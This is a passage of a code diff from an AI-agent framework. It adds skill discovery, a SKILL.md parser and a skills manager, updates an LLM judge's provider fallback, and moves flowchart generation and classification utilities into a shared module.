4. Project cross-client (<project>/.agents/skills/)
5. Project Hive-specific (<project>/.hive/skills/)
Later entries override earlier ones on name collision.
"""
all_skills: list[ParsedSkill] = []
# Framework scope (lowest precedence)
if not self._config.skip_framework_scope:
framework_dir = Path(__file__).parent / "_default_skills"
if framework_dir.is_dir():
all_skills.extend(self._scan_scope(framework_dir, "framework"))
# User scope
if not self._config.skip_user_scope:
home = Path.home()
# Cross-client (lower precedence within user scope)
user_agents = home / ".agents" / "skills"
if user_agents.is_dir():
all_skills.extend(self._scan_scope(user_agents, "user"))
# Hive-specific (higher precedence within user scope)
user_hive = home / ".hive" / "skills"
if user_hive.is_dir():
all_skills.extend(self._scan_scope(user_hive, "user"))
# Project scope (highest precedence)
if self._config.project_root:
root = self._config.project_root
# Cross-client
project_agents = root / ".agents" / "skills"
if project_agents.is_dir():
all_skills.extend(self._scan_scope(project_agents, "project"))
# Hive-specific
project_hive = root / ".hive" / "skills"
if project_hive.is_dir():
all_skills.extend(self._scan_scope(project_hive, "project"))
resolved = self._resolve_collisions(all_skills)
logger.info(
"Skill discovery: found %d skills (%d after dedup) across all scopes",
len(all_skills),
len(resolved),
)
return resolved
def _scan_scope(self, root: Path, scope: str) -> list[ParsedSkill]:
"""Scan a single directory for skill directories containing SKILL.md."""
skills: list[ParsedSkill] = []
dirs_scanned = 0
for skill_md in self._find_skill_files(root, depth=0):
if dirs_scanned >= self._config.max_dirs:
logger.warning(
"Hit max directory limit (%d) scanning %s",
self._config.max_dirs,
root,
)
break
parsed = parse_skill_md(skill_md, source_scope=scope)
if parsed is not None:
skills.append(parsed)
dirs_scanned += 1
return skills
def _find_skill_files(self, directory: Path, depth: int) -> list[Path]:
"""Recursively find SKILL.md files up to max_depth."""
if depth > self._config.max_depth:
return []
results: list[Path] = []
try:
entries = sorted(directory.iterdir())
except OSError:
return []
for entry in entries:
if not entry.is_dir():
continue
if entry.name in _SKIP_DIRS:
continue
skill_md = entry / "SKILL.md"
if skill_md.is_file():
results.append(skill_md)
else:
# Recurse into subdirectories
results.extend(self._find_skill_files(entry, depth + 1))
return results
def _resolve_collisions(self, skills: list[ParsedSkill]) -> list[ParsedSkill]:
"""Resolve name collisions deterministically.
Later entries in the list override earlier ones (because we scan
from lowest to highest precedence). On collision, log a warning.
"""
seen: dict[str, ParsedSkill] = {}
for skill in skills:
if skill.name in seen:
existing = seen[skill.name]
logger.warning(
"Skill name collision: '%s' from %s overrides %s",
skill.name,
skill.location,
existing.location,
)
seen[skill.name] = skill
return list(seen.values())
+165
View File
@@ -0,0 +1,165 @@
"""Unified skill lifecycle manager.
``SkillsManager`` is the single facade that owns skill discovery, loading,
and prompt renderation. The runtime creates one at startup and downstream
layers read the cached prompt strings.
Typical usage **config-driven** (runner passes configuration)::
config = SkillsManagerConfig(
skills_config=SkillsConfig.from_agent_vars(...),
project_root=agent_path,
)
mgr = SkillsManager(config)
mgr.load()
print(mgr.protocols_prompt) # default skill protocols
print(mgr.skills_catalog_prompt) # community skills XML
Typical usage **bare** (exported agents, SDK users)::
mgr = SkillsManager() # default config
mgr.load() # loads all 6 default skills, no community discovery
"""
from __future__ import annotations
import logging
from dataclasses import dataclass, field
from pathlib import Path
from framework.skills.config import SkillsConfig
logger = logging.getLogger(__name__)
@dataclass
class SkillsManagerConfig:
"""Everything the runtime needs to configure skills.
Attributes:
skills_config: Per-skill enable/disable and overrides.
project_root: Agent directory for community skill discovery.
When ``None``, community discovery is skipped.
skip_community_discovery: Explicitly skip community scanning
even when ``project_root`` is set.
"""
skills_config: SkillsConfig = field(default_factory=SkillsConfig)
project_root: Path | None = None
skip_community_discovery: bool = False
class SkillsManager:
"""Unified skill lifecycle: discovery → loading → prompt renderation.
The runtime creates one instance during init and owns it for the
lifetime of the process. Downstream layers (``ExecutionStream``,
``GraphExecutor``, ``NodeContext``, ``EventLoopNode``) receive the
cached prompt strings via property accessors.
"""
def __init__(self, config: SkillsManagerConfig | None = None) -> None:
self._config = config or SkillsManagerConfig()
self._loaded = False
self._catalog_prompt: str = ""
self._protocols_prompt: str = ""
# ------------------------------------------------------------------
# Factory for backwards-compat bridge
# ------------------------------------------------------------------
@classmethod
def from_precomputed(
cls,
skills_catalog_prompt: str = "",
protocols_prompt: str = "",
) -> SkillsManager:
"""Wrap pre-rendered prompt strings (legacy callers).
Returns a manager that skips discovery/loading and just returns
the provided strings. Used by the deprecation bridge in
``AgentRuntime`` when callers pass raw prompt strings.
"""
mgr = cls.__new__(cls)
mgr._config = SkillsManagerConfig()
mgr._loaded = True # skip load()
mgr._catalog_prompt = skills_catalog_prompt
mgr._protocols_prompt = protocols_prompt
return mgr
# ------------------------------------------------------------------
# Lifecycle
# ------------------------------------------------------------------
def load(self) -> None:
"""Discover, load, and cache skill prompts. Idempotent."""
if self._loaded:
return
self._loaded = True
try:
self._do_load()
except Exception:
logger.warning("Skill system init failed (non-fatal)", exc_info=True)
def _do_load(self) -> None:
"""Internal load — may raise; caller catches."""
from framework.skills.catalog import SkillCatalog
from framework.skills.defaults import DefaultSkillManager
from framework.skills.discovery import DiscoveryConfig, SkillDiscovery
skills_config = self._config.skills_config
# 1. Community skill discovery (when project_root is available)
catalog_prompt = ""
if self._config.project_root is not None and not self._config.skip_community_discovery:
discovery = SkillDiscovery(DiscoveryConfig(project_root=self._config.project_root))
discovered = discovery.discover()
catalog = SkillCatalog(discovered)
catalog_prompt = catalog.to_prompt()
# Pre-activated community skills
if skills_config.skills:
pre_activated = catalog.build_pre_activated_prompt(skills_config.skills)
if pre_activated:
if catalog_prompt:
catalog_prompt = f"{catalog_prompt}\n\n{pre_activated}"
else:
catalog_prompt = pre_activated
# 2. Default skills (always loaded unless explicitly disabled)
default_mgr = DefaultSkillManager(config=skills_config)
default_mgr.load()
default_mgr.log_active_skills()
protocols_prompt = default_mgr.build_protocols_prompt()
# 3. Cache
self._catalog_prompt = catalog_prompt
self._protocols_prompt = protocols_prompt
if protocols_prompt:
logger.info(
"Skill system ready: protocols=%d chars, catalog=%d chars",
len(protocols_prompt),
len(catalog_prompt),
)
else:
logger.warning("Skill system produced empty protocols_prompt")
# ------------------------------------------------------------------
# Prompt accessors (consumed by downstream layers)
# ------------------------------------------------------------------
@property
def skills_catalog_prompt(self) -> str:
"""Community skills XML catalog for system prompt injection."""
return self._catalog_prompt
@property
def protocols_prompt(self) -> str:
"""Default skill operational protocols for system prompt injection."""
return self._protocols_prompt
@property
def is_loaded(self) -> bool:
return self._loaded
+158
View File
@@ -0,0 +1,158 @@
"""SKILL.md parser — extracts YAML frontmatter and markdown body.
Parses SKILL.md files per the Agent Skills standard (agentskills.io/specification).
Lenient validation: warns on non-critical issues, skips only on missing description
or completely unparseable YAML.
"""
from __future__ import annotations
import logging
import re
from dataclasses import dataclass
from pathlib import Path
from typing import Any
logger = logging.getLogger(__name__)
# Maximum name length before a warning is logged
_MAX_NAME_LENGTH = 64
@dataclass
class ParsedSkill:
"""In-memory representation of a parsed SKILL.md file."""
name: str
description: str
location: str # absolute path to SKILL.md
base_dir: str # parent directory of SKILL.md
source_scope: str # "project", "user", or "framework"
body: str # markdown body after closing ---
# Optional frontmatter fields
license: str | None = None
compatibility: list[str] | None = None
metadata: dict[str, Any] | None = None
allowed_tools: list[str] | None = None
def _try_fix_yaml(raw: str) -> str:
"""Attempt to fix common YAML issues (unquoted colon values).
Some SKILL.md files written for other clients may contain unquoted
values with colons, e.g. ``description: Use for: research tasks``.
This wraps such values in quotes as a best-effort fixup.
"""
lines = raw.split("\n")
fixed = []
for line in lines:
# Match "key: value" where value contains an unquoted colon
m = re.match(r"^(\s*\w[\w-]*:\s*)(.+)$", line)
if m:
key_part, value_part = m.group(1), m.group(2)
# If value contains a colon and isn't already quoted
if ":" in value_part and not (value_part.startswith('"') or value_part.startswith("'")):
value_part = f'"{value_part}"'
fixed.append(f"{key_part}{value_part}")
else:
fixed.append(line)
return "\n".join(fixed)
def parse_skill_md(path: Path, source_scope: str = "project") -> ParsedSkill | None:
"""Parse a SKILL.md file into a ParsedSkill record.
Args:
path: Absolute path to the SKILL.md file.
source_scope: One of "project", "user", or "framework".
Returns:
ParsedSkill on success, None if the file is unparseable or
missing required fields (description).
"""
try:
content = path.read_text(encoding="utf-8")
except OSError as exc:
logger.error("Failed to read %s: %s", path, exc)
return None
if not content.strip():
logger.error("Empty SKILL.md: %s", path)
return None
# Split on --- delimiters (first two occurrences)
parts = content.split("---", 2)
if len(parts) < 3:
logger.error("SKILL.md missing YAML frontmatter delimiters (---): %s", path)
return None
# parts[0] is content before first --- (should be empty or whitespace)
# parts[1] is the YAML frontmatter
# parts[2] is the markdown body
raw_yaml = parts[1].strip()
body = parts[2].strip()
if not raw_yaml:
logger.error("Empty YAML frontmatter in %s", path)
return None
# Parse YAML
import yaml
frontmatter: dict[str, Any] | None = None
try:
frontmatter = yaml.safe_load(raw_yaml)
except yaml.YAMLError:
# Fallback: try fixing unquoted colon values
try:
fixed = _try_fix_yaml(raw_yaml)
frontmatter = yaml.safe_load(fixed)
logger.warning("Fixed YAML parse issues in %s (unquoted colons)", path)
except yaml.YAMLError as exc:
logger.error("Unparseable YAML in %s: %s", path, exc)
return None
if not isinstance(frontmatter, dict):
logger.error("YAML frontmatter is not a mapping in %s", path)
return None
# Required: description
description = frontmatter.get("description")
if not description or not str(description).strip():
logger.error("Missing or empty 'description' in %s — skipping skill", path)
return None
# Required: name (fallback to parent directory name)
name = frontmatter.get("name")
parent_dir_name = path.parent.name
if not name or not str(name).strip():
name = parent_dir_name
logger.warning("Missing 'name' in %s — using directory name '%s'", path, name)
else:
name = str(name).strip()
# Lenient warnings
if len(name) > _MAX_NAME_LENGTH:
logger.warning("Skill name exceeds %d chars in %s: '%s'", _MAX_NAME_LENGTH, path, name)
if name != parent_dir_name and not name.endswith(f".{parent_dir_name}"):
logger.warning(
"Skill name '%s' doesn't match parent directory '%s' in %s",
name,
parent_dir_name,
path,
)
return ParsedSkill(
name=name,
description=str(description).strip(),
location=str(path.resolve()),
base_dir=str(path.parent.resolve()),
source_scope=source_scope,
body=body,
license=frontmatter.get("license"),
compatibility=frontmatter.get("compatibility"),
metadata=frontmatter.get("metadata"),
allowed_tools=frontmatter.get("allowed-tools"),
)
+28 -9
View File
@@ -40,18 +40,31 @@ class LLMJudge:
def _get_fallback_provider(self) -> LLMProvider | None:
"""
Auto-detects available API keys and returns the appropriate provider.
Priority: OpenAI -> Anthropic.
Auto-detects available API keys and returns an appropriate provider.
Uses LiteLLM for OpenAI (framework has no framework.llm.openai module).
Priority:
1. OpenAI-compatible models via LiteLLM (OPENAI_API_KEY)
2. Anthropic via AnthropicProvider (ANTHROPIC_API_KEY)
"""
# OpenAI: use LiteLLM (the framework's standard multi-provider integration)
if os.environ.get("OPENAI_API_KEY"):
from framework.llm.openai import OpenAIProvider
try:
from framework.llm.litellm import LiteLLMProvider
return OpenAIProvider(model="gpt-4o-mini")
return LiteLLMProvider(model="gpt-4o-mini")
except ImportError:
# LiteLLM is optional; fall through to Anthropic/None
pass
# Anthropic via dedicated provider (wraps LiteLLM internally)
if os.environ.get("ANTHROPIC_API_KEY"):
from framework.llm.anthropic import AnthropicProvider
try:
from framework.llm.anthropic import AnthropicProvider
return AnthropicProvider(model="claude-3-haiku-20240307")
return AnthropicProvider(model="claude-haiku-4-5-20251001")
except Exception:
# If AnthropicProvider cannot be constructed, treat as no fallback
return None
return None
@@ -77,11 +90,16 @@ SUMMARY TO EVALUATE:
Respond with JSON: {{"passes": true/false, "explanation": "..."}}"""
try:
# Compute fallback provider once so we do not create multiple instances
fallback_provider = self._get_fallback_provider()
# 1. Use injected provider
if self._provider:
active_provider = self._provider
# 2. Check if _get_client was MOCKED (legacy tests) or use Agnostic Fallback
elif hasattr(self._get_client, "return_value") or not self._get_fallback_provider():
# 2. Legacy path: anthropic client mocked in tests takes precedence,
# or no fallback provider is available.
elif hasattr(self._get_client, "return_value") or fallback_provider is None:
# Use legacy Anthropic client (e.g. when tests mock _get_client, or no env keys set)
client = self._get_client()
response = client.messages.create(
model="claude-haiku-4-5-20251001",
@@ -90,7 +108,8 @@ Respond with JSON: {{"passes": true/false, "explanation": "..."}}"""
)
return self._parse_json_result(response.content[0].text.strip())
else:
active_provider = self._get_fallback_provider()
# Use env-based fallback (LiteLLM or AnthropicProvider)
active_provider = fallback_provider
response = active_provider.complete(
messages=[{"role": "user", "content": prompt}],
+374
View File
@@ -0,0 +1,374 @@
"""Flowchart utilities for generating and persisting flowchart.json files.
Extracted from queen_lifecycle_tools so that non-Queen code paths
(e.g., AgentRunner.load) can generate flowcharts for legacy agents
that lack a flowchart.json.
"""
from __future__ import annotations
import json
import logging
from pathlib import Path
from typing import Any
logger = logging.getLogger(__name__)
FLOWCHART_FILENAME = "flowchart.json"
# ── Flowchart type catalogue (9 types) ───────────────────────────────────────
FLOWCHART_TYPES = {
"start": {"shape": "stadium", "color": "#8aad3f"}, # spring pollen
"terminal": {"shape": "stadium", "color": "#b5453a"}, # propolis red
"process": {"shape": "rectangle", "color": "#b5a575"}, # warm wheat
"decision": {"shape": "diamond", "color": "#d89d26"}, # royal honey
"io": {"shape": "parallelogram", "color": "#d06818"}, # burnt orange
"document": {"shape": "document", "color": "#c4b830"}, # goldenrod
"database": {"shape": "cylinder", "color": "#508878"}, # sage teal
"subprocess": {"shape": "subroutine", "color": "#887a48"}, # propolis gold
"browser": {"shape": "hexagon", "color": "#cc8850"}, # honey copper
}
# Backward-compat remap: old type names → canonical type
FLOWCHART_REMAP: dict[str, str] = {
"delay": "process",
"manual_operation": "process",
"preparation": "process",
"merge": "process",
"alternate_process": "process",
"connector": "process",
"offpage_connector": "process",
"extract": "process",
"sort": "process",
"collate": "process",
"summing_junction": "process",
"or": "process",
"comment": "process",
"display": "io",
"manual_input": "io",
"multi_document": "document",
"stored_data": "database",
"internal_storage": "database",
}
# ── File persistence ─────────────────────────────────────────────────────────
def save_flowchart_file(
agent_path: Path | str | None,
original_draft: dict,
flowchart_map: dict[str, list[str]] | None,
) -> None:
"""Persist the flowchart to the agent's folder."""
if agent_path is None:
return
p = Path(agent_path)
if not p.is_dir():
return
try:
target = p / FLOWCHART_FILENAME
target.write_text(
json.dumps(
{"original_draft": original_draft, "flowchart_map": flowchart_map},
indent=2,
),
encoding="utf-8",
)
logger.debug("Flowchart saved to %s", target)
except Exception:
logger.warning("Failed to save flowchart to %s", p, exc_info=True)
def load_flowchart_file(
agent_path: Path | str | None,
) -> tuple[dict | None, dict[str, list[str]] | None]:
"""Load flowchart from the agent's folder. Returns (original_draft, flowchart_map)."""
if agent_path is None:
return None, None
target = Path(agent_path) / FLOWCHART_FILENAME
if not target.is_file():
return None, None
try:
data = json.loads(target.read_text(encoding="utf-8"))
return data.get("original_draft"), data.get("flowchart_map")
except Exception:
logger.warning("Failed to load flowchart from %s", target, exc_info=True)
return None, None
# ── Node classification ──────────────────────────────────────────────────────
def classify_flowchart_node(
node: dict,
index: int,
total: int,
edges: list[dict],
terminal_ids: set[str],
) -> str:
"""Auto-detect the ISO 5807 flowchart type for a draft node.
Priority: explicit override > structural detection > heuristic > default.
"""
# Explicit override from the queen
explicit = node.get("flowchart_type", "").strip()
if explicit and explicit in FLOWCHART_TYPES:
return explicit
if explicit and explicit in FLOWCHART_REMAP:
return FLOWCHART_REMAP[explicit]
node_id = node["id"]
node_type = node.get("node_type", "event_loop")
node_tools = set(node.get("tools") or [])
desc = (node.get("description") or "").lower()
# GCU / browser automation nodes → hexagon
if node_type == "gcu":
return "browser"
# Entry node (first node or no incoming edges) → start terminator
incoming = {e["target"] for e in edges}
if index == 0 or (node_id not in incoming and index == 0):
return "start"
# Terminal node → end terminator
if node_id in terminal_ids:
return "terminal"
# Decision node: has outgoing edges with branching conditions → diamond
outgoing = [e for e in edges if e["source"] == node_id]
if len(outgoing) >= 2:
conditions = {e.get("condition", "on_success") for e in outgoing}
if len(conditions) > 1 or conditions - {"on_success"}:
return "decision"
# Sub-agent / subprocess nodes → subroutine (double-bordered rect)
if node.get("sub_agents"):
return "subprocess"
# Database / data store nodes → cylinder
db_tool_hints = {
"query_database",
"sql_query",
"read_table",
"write_table",
"save_data",
"load_data",
}
db_desc_hints = {"database", "data store", "storage", "persist", "cache"}
if node_tools & db_tool_hints or any(h in desc for h in db_desc_hints):
return "database"
# Document generation nodes → document shape
doc_tool_hints = {
"generate_report",
"create_document",
"write_report",
"render_template",
"export_pdf",
}
doc_desc_hints = {"report", "document", "summary", "write up", "writeup"}
if node_tools & doc_tool_hints or any(h in desc for h in doc_desc_hints):
return "document"
# I/O nodes: external data ingestion or delivery → parallelogram
io_tool_hints = {
"serve_file_to_user",
"send_email",
"post_message",
"upload_file",
"download_file",
"fetch_url",
"post_to_slack",
"send_notification",
"display_results",
}
io_desc_hints = {"deliver", "send", "output", "notify", "publish"}
if node_tools & io_tool_hints or any(h in desc for h in io_desc_hints):
return "io"
# Default: process (rectangle)
return "process"
# ── Draft synthesis from runtime graph ───────────────────────────────────────
def synthesize_draft_from_runtime(
runtime_nodes: list,
runtime_edges: list,
agent_name: str = "",
goal_name: str = "",
) -> tuple[dict, dict[str, list[str]]]:
"""Generate a flowchart draft from a loaded runtime graph.
Used for agents that were never planned through the draft workflow
(e.g., hand-coded or loaded from "my agents"). Produces a valid
DraftGraph structure with auto-classified flowchart types.
"""
nodes: list[dict] = []
edges: list[dict] = []
node_ids = {n.id for n in runtime_nodes}
# Build edge dicts first (needed for classification)
for i, re in enumerate(runtime_edges):
edges.append(
{
"id": f"edge-{i}",
"source": re.source,
"target": re.target,
"condition": str(re.condition.value)
if hasattr(re.condition, "value")
else str(re.condition),
"description": getattr(re, "description", "") or "",
"label": "",
}
)
# Terminal detection — exclude sub-agent nodes (they are leaf helpers, not endpoints)
sub_agent_ids: set[str] = set()
for rn in runtime_nodes:
for sa_id in getattr(rn, "sub_agents", None) or []:
sub_agent_ids.add(sa_id)
sources = {e["source"] for e in edges}
terminal_ids = node_ids - sources - sub_agent_ids
if not terminal_ids and runtime_nodes:
terminal_ids = {runtime_nodes[-1].id}
# Build node dicts with classification
total = len(runtime_nodes)
for i, rn in enumerate(runtime_nodes):
node: dict = {
"id": rn.id,
"name": rn.name,
"description": rn.description or "",
"node_type": getattr(rn, "node_type", "event_loop") or "event_loop",
"tools": list(rn.tools) if rn.tools else [],
"input_keys": list(rn.input_keys) if rn.input_keys else [],
"output_keys": list(rn.output_keys) if rn.output_keys else [],
"success_criteria": getattr(rn, "success_criteria", "") or "",
"sub_agents": list(rn.sub_agents) if getattr(rn, "sub_agents", None) else [],
}
fc_type = classify_flowchart_node(node, i, total, edges, terminal_ids)
fc_meta = FLOWCHART_TYPES[fc_type]
node["flowchart_type"] = fc_type
node["flowchart_shape"] = fc_meta["shape"]
node["flowchart_color"] = fc_meta["color"]
nodes.append(node)
# Add visual edges from parent nodes to their sub_agents.
# Sub-agents are connected via the sub_agents field, not via EdgeSpec,
# so they'd appear as disconnected islands without this.
# Two edges per sub-agent: delegate (parent→sub) and report (sub→parent).
edge_counter = len(edges)
for node in nodes:
for sa_id in node.get("sub_agents") or []:
if sa_id in node_ids:
edges.append(
{
"id": f"edge-subagent-{edge_counter}",
"source": node["id"],
"target": sa_id,
"condition": "always",
"description": "sub-agent delegation",
"label": "delegate",
}
)
edge_counter += 1
edges.append(
{
"id": f"edge-subagent-{edge_counter}",
"source": sa_id,
"target": node["id"],
"condition": "always",
"description": "sub-agent report back",
"label": "report",
}
)
edge_counter += 1
# Group sub-agent nodes under their parent in the flowchart map
# (mirrors what _dissolve_planning_nodes does for planned drafts)
sub_agent_ids_final: set[str] = set()
for node in nodes:
for sa_id in node.get("sub_agents") or []:
if sa_id in node_ids:
sub_agent_ids_final.add(sa_id)
fmap: dict[str, list[str]] = {}
for node in nodes:
nid = node["id"]
if nid in sub_agent_ids_final:
continue # skip — will be included via parent
absorbed = [nid]
for sa_id in node.get("sub_agents") or []:
if sa_id in node_ids:
absorbed.append(sa_id)
fmap[nid] = absorbed
draft = {
"agent_name": agent_name,
"goal": goal_name,
"description": "",
"success_criteria": [],
"constraints": [],
"nodes": nodes,
"edges": edges,
"entry_node": nodes[0]["id"] if nodes else "",
"terminal_nodes": sorted(terminal_ids),
"flowchart_legend": {
fc_type: {"shape": meta["shape"], "color": meta["color"]}
for fc_type, meta in FLOWCHART_TYPES.items()
},
}
return draft, fmap
# ── Fallback generation entry point ──────────────────────────────────────────
def generate_fallback_flowchart(
graph: Any,
goal: Any,
agent_path: Path,
) -> None:
"""Generate flowchart.json from a runtime GraphSpec if none exists.
This is a no-op if flowchart.json already exists. On failure, logs a
warning but never raises agent loading must not be blocked by
flowchart generation.
"""
try:
existing_draft, _ = load_flowchart_file(agent_path)
if existing_draft is not None:
return # already have one
draft, fmap = synthesize_draft_from_runtime(
runtime_nodes=list(graph.nodes),
runtime_edges=list(graph.edges),
agent_name=agent_path.name,
goal_name=goal.name if goal else "",
)
# Enrich with Goal metadata
if goal:
draft["goal"] = goal.description or goal.name or ""
draft["success_criteria"] = [sc.description for sc in (goal.success_criteria or [])]
draft["constraints"] = [c.description for c in (goal.constraints or [])]
# Use entry_node/terminal_nodes from GraphSpec if available
if graph.entry_node:
draft["entry_node"] = graph.entry_node
if graph.terminal_nodes:
draft["terminal_nodes"] = list(graph.terminal_nodes)
save_flowchart_file(agent_path, draft, fmap)
logger.info("Generated fallback flowchart.json for %s", agent_path.name)
except Exception:
logger.warning(
"Failed to generate fallback flowchart for %s",
agent_path,
exc_info=True,
)
+41 -393
View File
@@ -36,6 +36,7 @@ from __future__ import annotations
import asyncio
import json
import logging
import time
from dataclasses import dataclass, field
from datetime import UTC, datetime
from pathlib import Path
@@ -45,6 +46,13 @@ from framework.credentials.models import CredentialError
from framework.runner.preload_validation import credential_errors_to_json, validate_credentials
from framework.runtime.event_bus import AgentEvent, EventType
from framework.server.app import validate_agent_path
from framework.tools.flowchart_utils import (
FLOWCHART_TYPES,
classify_flowchart_node,
load_flowchart_file,
save_flowchart_file,
synthesize_draft_from_runtime,
)
if TYPE_CHECKING:
from framework.runner.tool_registry import ToolRegistry
@@ -108,6 +116,9 @@ class QueenPhaseState:
prompt_staging: str = ""
prompt_running: str = ""
# Default skill operational protocols — appended to every phase prompt
protocols_prompt: str = ""
def get_current_tools(self) -> list:
"""Return tools for the current phase."""
if self.phase == "planning":
@@ -132,7 +143,12 @@ class QueenPhaseState:
from framework.agents.queen.queen_memory import format_for_injection
memory = format_for_injection()
return base + ("\n\n" + memory if memory else "")
parts = [base]
if self.protocols_prompt:
parts.append(self.protocols_prompt)
if memory:
parts.append(memory)
return "\n\n".join(parts)
async def _emit_phase_event(self) -> None:
"""Publish a QUEEN_PHASE_CHANGED event so the frontend updates the tag."""
@@ -285,66 +301,7 @@ def build_worker_profile(runtime: AgentRuntime, agent_path: Path | str | None =
return "\n".join(lines)
_FLOWCHART_TYPES = {
# ── Core symbols (ISO 5807 §4) ──────────────────────────
# Terminator — rounded rectangle (stadium shape)
"start": {"shape": "stadium", "color": "#4CAF50"}, # green
"terminal": {"shape": "stadium", "color": "#F44336"}, # red
# Process — rectangle
"process": {"shape": "rectangle", "color": "#2196F3"}, # blue
# Decision — diamond
"decision": {"shape": "diamond", "color": "#FF9800"}, # amber
# Data (Input/Output) — parallelogram
"io": {"shape": "parallelogram", "color": "#9C27B0"}, # purple
# Document — rectangle with wavy bottom
"document": {"shape": "document", "color": "#607D8B"}, # blue-grey
# Multi-document — stacked documents
"multi_document": {"shape": "multi_document", "color": "#78909C"}, # blue-grey light
# Predefined process / subroutine — rectangle with double vertical bars
"subprocess": {"shape": "subroutine", "color": "#009688"}, # teal
# Preparation — hexagon
"preparation": {"shape": "hexagon", "color": "#795548"}, # brown
# Manual input — trapezoid with slanted top
"manual_input": {"shape": "manual_input", "color": "#E91E63"}, # pink
# Manual operation — inverted trapezoid
"manual_operation": {"shape": "trapezoid", "color": "#AD1457"}, # dark pink
# Delay — half-rounded rectangle (D-shape)
"delay": {"shape": "delay", "color": "#FF5722"}, # deep orange
# Display — rounded rectangle with pointed left
"display": {"shape": "display", "color": "#00BCD4"}, # cyan
# ── Data storage symbols ────────────────────────────────
# Database / direct access storage — cylinder
"database": {"shape": "cylinder", "color": "#8BC34A"}, # light green
# Stored data — generic data store
"stored_data": {"shape": "stored_data", "color": "#CDDC39"}, # lime
# Internal storage — rectangle with cross-hatch
"internal_storage": {"shape": "internal_storage", "color": "#FFC107"}, # amber light
# ── Connectors ──────────────────────────────────────────
# On-page connector — small circle
"connector": {"shape": "circle", "color": "#9E9E9E"}, # grey
# Off-page connector — pentagon / home-plate
"offpage_connector": {"shape": "pentagon", "color": "#757575"}, # dark grey
# ── Flow operations ─────────────────────────────────────
# Merge — inverted triangle
"merge": {"shape": "triangle_inv", "color": "#3F51B5"}, # indigo
# Extract — upward triangle
"extract": {"shape": "triangle", "color": "#5C6BC0"}, # indigo light
# Sort — hourglass / double triangle
"sort": {"shape": "hourglass", "color": "#7986CB"}, # indigo lighter
# Collate — merged hourglass
"collate": {"shape": "hourglass_inv", "color": "#9FA8DA"}, # indigo lightest
# Summing junction — circle with cross
"summing_junction": {"shape": "circle_cross", "color": "#F06292"}, # pink light
# Or — circle with horizontal bar
"or": {"shape": "circle_bar", "color": "#CE93D8"}, # purple light
# ── Domain-specific (Hive agent context) ────────────────
# Browser automation (GCU) — mapped to preparation/hexagon
"browser": {"shape": "hexagon", "color": "#1A237E"}, # dark indigo
# Comment / annotation — flag shape
"comment": {"shape": "flag", "color": "#BDBDBD"}, # light grey
# Alternate process — rounded rectangle
"alternate_process": {"shape": "rounded_rect", "color": "#42A5F5"}, # light blue
}
# FLOWCHART_TYPES is imported from framework.tools.flowchart_utils
def _read_agent_triggers_json(agent_path: Path) -> list[dict]:
@@ -451,10 +408,11 @@ async def _start_trigger_timer(session: Any, trigger_id: str, tdef: Any) -> None
else:
await asyncio.sleep(float(interval_minutes) * 60)
# Record next fire time for introspection
# Record next fire time for introspection (monotonic, matches routes)
fire_times = getattr(session, "trigger_next_fire", None)
if fire_times is not None:
fire_times[trigger_id] = datetime.now(tz=UTC).isoformat()
_next_delay = float(interval_minutes) * 60 if interval_minutes else 60
fire_times[trigger_id] = time.monotonic() + _next_delay
# Gate on worker being loaded
if getattr(session, "worker_runtime", None) is None:
@@ -635,7 +593,7 @@ def _dissolve_planning_nodes(
if not predecessors:
# Decision at start: convert to regular process node
d_node["flowchart_type"] = "process"
fc_meta = _FLOWCHART_TYPES["process"]
fc_meta = FLOWCHART_TYPES["process"]
d_node["flowchart_shape"] = fc_meta["shape"]
d_node["flowchart_color"] = fc_meta["color"]
if not d_node.get("success_criteria"):
@@ -1147,309 +1105,20 @@ def register_queen_lifecycle_tools(
registry.register("replan_agent", _replan_tool, lambda inputs: replan_agent())
tools_registered += 1
# --- Flowchart file persistence -------------------------------------------
# The flowchart is saved as flowchart.json in the agent's folder so it
# survives restarts and is available when loading any agent.
FLOWCHART_FILENAME = "flowchart.json"
def _save_flowchart_file(
agent_path: Path | str | None,
original_draft: dict,
flowchart_map: dict[str, list[str]] | None,
) -> None:
"""Persist the flowchart to the agent's folder."""
if agent_path is None:
return
p = Path(agent_path)
if not p.is_dir():
return
try:
target = p / FLOWCHART_FILENAME
target.write_text(
json.dumps(
{"original_draft": original_draft, "flowchart_map": flowchart_map},
indent=2,
),
encoding="utf-8",
)
logger.debug("Flowchart saved to %s", target)
except Exception:
logger.warning("Failed to save flowchart to %s", p, exc_info=True)
def _load_flowchart_file(
agent_path: Path | str | None,
) -> tuple[dict | None, dict[str, list[str]] | None]:
"""Load flowchart from the agent's folder. Returns (original_draft, flowchart_map)."""
if agent_path is None:
return None, None
target = Path(agent_path) / FLOWCHART_FILENAME
if not target.is_file():
return None, None
try:
data = json.loads(target.read_text(encoding="utf-8"))
return data.get("original_draft"), data.get("flowchart_map")
except Exception:
logger.warning("Failed to load flowchart from %s", target, exc_info=True)
return None, None
def _synthesize_draft_from_runtime(
runtime_nodes: list,
runtime_edges: list,
agent_name: str = "",
goal_name: str = "",
) -> tuple[dict, dict[str, list[str]]]:
"""Generate a flowchart draft from a loaded runtime graph.
Used for agents that were never planned through the draft workflow
(e.g., hand-coded or loaded from "my agents"). Produces a valid
DraftGraph structure with auto-classified flowchart types.
"""
nodes: list[dict] = []
edges: list[dict] = []
node_ids = {n.id for n in runtime_nodes}
# Build edge dicts first (needed for classification)
for i, re in enumerate(runtime_edges):
edges.append(
{
"id": f"edge-{i}",
"source": re.source,
"target": re.target,
"condition": str(re.condition.value)
if hasattr(re.condition, "value")
else str(re.condition),
"description": getattr(re, "description", "") or "",
"label": "",
}
)
# Terminal detection — exclude sub-agent nodes (they are leaf helpers, not endpoints)
sub_agent_ids: set[str] = set()
for rn in runtime_nodes:
for sa_id in getattr(rn, "sub_agents", None) or []:
sub_agent_ids.add(sa_id)
sources = {e["source"] for e in edges}
terminal_ids = node_ids - sources - sub_agent_ids
if not terminal_ids and runtime_nodes:
terminal_ids = {runtime_nodes[-1].id}
# Build node dicts with classification
total = len(runtime_nodes)
for i, rn in enumerate(runtime_nodes):
node: dict = {
"id": rn.id,
"name": rn.name,
"description": rn.description or "",
"node_type": getattr(rn, "node_type", "event_loop") or "event_loop",
"tools": list(rn.tools) if rn.tools else [],
"input_keys": list(rn.input_keys) if rn.input_keys else [],
"output_keys": list(rn.output_keys) if rn.output_keys else [],
"success_criteria": getattr(rn, "success_criteria", "") or "",
"sub_agents": list(rn.sub_agents) if getattr(rn, "sub_agents", None) else [],
}
fc_type = _classify_flowchart_node(node, i, total, edges, terminal_ids)
fc_meta = _FLOWCHART_TYPES[fc_type]
node["flowchart_type"] = fc_type
